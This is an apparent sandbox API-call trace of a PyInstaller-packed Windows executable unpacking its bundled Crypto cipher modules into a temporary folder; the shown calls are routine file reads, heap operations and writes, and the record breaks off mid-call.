MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.366] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.366] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.366] GetFileType (hFile=0x10c) returned 0x1 [0034.366] htonl (hostlong=0x5b60000) returned 0xb605 [0034.366] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x56605, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.366] htonl (hostlong=0x4f100000) returned 0x104f [0034.366] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x104f) returned 0x55d270 [0034.366] htonl (hostlong=0x4f100000) returned 0x104f [0034.366] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fcd58*=0x1000, lpOverlapped=0x0) returned 1 [0034.366] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0034.367] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.367] htonl (hostlong=0x220000) returned 0x2200 [0034.367] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2200) returned 0x561090 [0034.367] htonl (hostlong=0x4f100000) returned 0x104f [0034.367] htonl (hostlong=0x220000) returned 0x2200 [0034.367] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563298 [0034.367] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563298 | out: hHeap=0x530000) returned 1 [0034.367] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.367] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.367] CloseHandle (hObject=0x10c) returned 1 [0034.367] GetLastError () returned 0x0 [0034.367] SetLastError (dwErrCode=0x0) [0034.367] GetLastError () returned 0x0 [0034.367] SetLastError (dwErrCode=0x0) [0034.367] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto") returned 52 [0034.367] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.367] GetFileType (hFile=0x10c) returned 0x1 [0034.367] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.367] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.367] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.367] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.367] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.367] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.368] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.368] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.368] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.368] CloseHandle (hObject=0x10c) returned 1 [0034.368] GetLastError () returned 0x0 [0034.368] SetLastError (dwErrCode=0x0) [0034.368] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher") returned 59 [0034.368] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.368] GetFileType (hFile=0x10c) returned 0x1 [0034.368] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.368] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.368] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.368] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.368] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.368] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.368] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.368] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.368] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.368] CloseHandle (hObject=0x10c) returned 1 [0034.368] GetLastError () returned 0x0 [0034.369] SetLastError (dwErrCode=0x0) [0034.369] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_aesni.pyd") returned 74 [0034.369] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_aesni.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher\\_raw_aesni.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.369] GetLastError () returned 0x2 [0034.369] SetLastError (dwErrCode=0x2) [0034.369] GetLastError () returned 0x2 [0034.369] SetLastError (dwErrCode=0x2) [0034.369] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_aesni.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_aesni.pyd", lpFilePart=0x0) returned 0x49 [0034.369] GetLastError () returned 0x2 [0034.369] SetLastError (dwErrCode=0x2) [0034.369] GetLastError () returned 0x2 [0034.369] SetLastError (dwErrCode=0x2) [0034.369] GetLastError () returned 0x2 [0034.369] SetLastError (dwErrCode=0x2) [0034.369] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_aesni.pyd") returned 74 [0034.369] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.369] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_aesni.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher\\_raw_aesni.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.371] GetFileType (hFile=0x10c) returned 0x1 [0034.371] htonl (hostlong=0x220000) returned 0x2200 [0034.371] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0034.372] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0034.373] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x200, lpOverlapped=0x0) returned 1 [0034.373] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.373] CloseHandle (hObject=0x10c) returned 1 [0034.374] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0034.374] htonl (hostlong=0x30000000) returned 0x30 [0034.374] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.374] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.374] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.374] GetFileType (hFile=0x10c) returned 0x1 [0034.374] htonl (hostlong=0x54c60000) returned 0xc654 [0034.374] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x57654, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.374] htonl (hostlong=0xa3100000) returned 0x10a3 [0034.374] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10a3) returned 0x55d270 [0034.374] htonl (hostlong=0xa3100000) returned 0x10a3 [0034.374] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fcd58*=0x1000, lpOverlapped=0x0) returned 1 [0034.374] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0034.375] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.375] htonl (hostlong=0x220000) returned 0x2200 [0034.375] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2200) returned 0x561090 [0034.375] htonl (hostlong=0xa3100000) returned 0x10a3 [0034.375] htonl (hostlong=0x220000) returned 0x2200 [0034.375] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563298 [0034.375] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563298 | out: hHeap=0x530000) returned 1 [0034.375] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.375] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.375] CloseHandle (hObject=0x10c) returned 1 [0034.375] GetLastError () returned 0x0 [0034.375] SetLastError (dwErrCode=0x0) [0034.375] GetLastError () returned 0x0 [0034.375] SetLastError (dwErrCode=0x0) [0034.375] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto") returned 52 [0034.375] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.376] GetFileType (hFile=0x10c) returned 0x1 [0034.376] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.376] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.376] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.376] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.376] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.376] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.376] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.376] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.376] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.376] CloseHandle (hObject=0x10c) returned 1 [0034.376] GetLastError () returned 0x0 [0034.376] SetLastError (dwErrCode=0x0) [0034.376] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher") returned 59 [0034.376] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.376] GetFileType (hFile=0x10c) returned 0x1 [0034.376] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.376] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.376] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.376] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.376] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.377] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.377] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.377] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.377] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.377] CloseHandle (hObject=0x10c) returned 1 [0034.377] GetLastError () returned 0x0 [0034.377] SetLastError (dwErrCode=0x0) [0034.377] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_arc2.pyd") returned 73 [0034.377] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_arc2.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher\\_raw_arc2.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.377] GetLastError () returned 0x2 [0034.377] SetLastError (dwErrCode=0x2) [0034.377] GetLastError () returned 0x2 [0034.377] SetLastError (dwErrCode=0x2) [0034.377] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_arc2.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_arc2.pyd", lpFilePart=0x0) returned 0x48 [0034.377] GetLastError () returned 0x2 [0034.377] SetLastError (dwErrCode=0x2) [0034.377] GetLastError () returned 0x2 [0034.377] SetLastError (dwErrCode=0x2) [0034.377] GetLastError () returned 0x2 [0034.377] SetLastError (dwErrCode=0x2) [0034.377] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_arc2.pyd") returned 73 [0034.377] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.378] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_arc2.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher\\_raw_arc2.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.378] GetFileType (hFile=0x10c) returned 0x1 [0034.378] htonl (hostlong=0x220000) returned 0x2200 [0034.378] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0034.379] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0034.379] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x200, lpOverlapped=0x0) returned 1 [0034.380] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.380] CloseHandle (hObject=0x10c) returned 1 [0034.380] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0034.380] htonl (hostlong=0x30000000) returned 0x30 [0034.380] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.380] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.380] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.381] GetFileType (hFile=0x10c) returned 0x1 [0034.381] htonl (hostlong=0xf7d60000) returned 0xd6f7 [0034.381] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x586f7, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.381] htonl (hostlong=0xda200000) returned 0x20da [0034.381] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x20da) returned 0x560088 [0034.381] htonl (hostlong=0xda200000) returned 0x20da [0034.381] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x2000, lpOverlapped=0x0) returned 1 [0034.381] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0034.381] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.381] htonl (hostlong=0x300000) returned 0x3000 [0034.381] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x3000) returned 0x562170 [0034.381] htonl (hostlong=0xda200000) returned 0x20da [0034.381] htonl (hostlong=0x300000) returned 0x3000 [0034.381] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x565178 [0034.381] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x565178 | out: hHeap=0x530000) returned 1 [0034.381] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.381] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.381] CloseHandle (hObject=0x10c) returned 1 [0034.381] GetLastError () returned 0x0 [0034.382] SetLastError (dwErrCode=0x0) [0034.382] GetLastError () returned 0x0 [0034.382] SetLastError (dwErrCode=0x0) [0034.382] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto") returned 52 [0034.382] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.382] GetFileType (hFile=0x10c) returned 0x1 [0034.382] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.382] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.382] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.382] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.382] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.382] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.382] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.382] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.382] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.382] CloseHandle 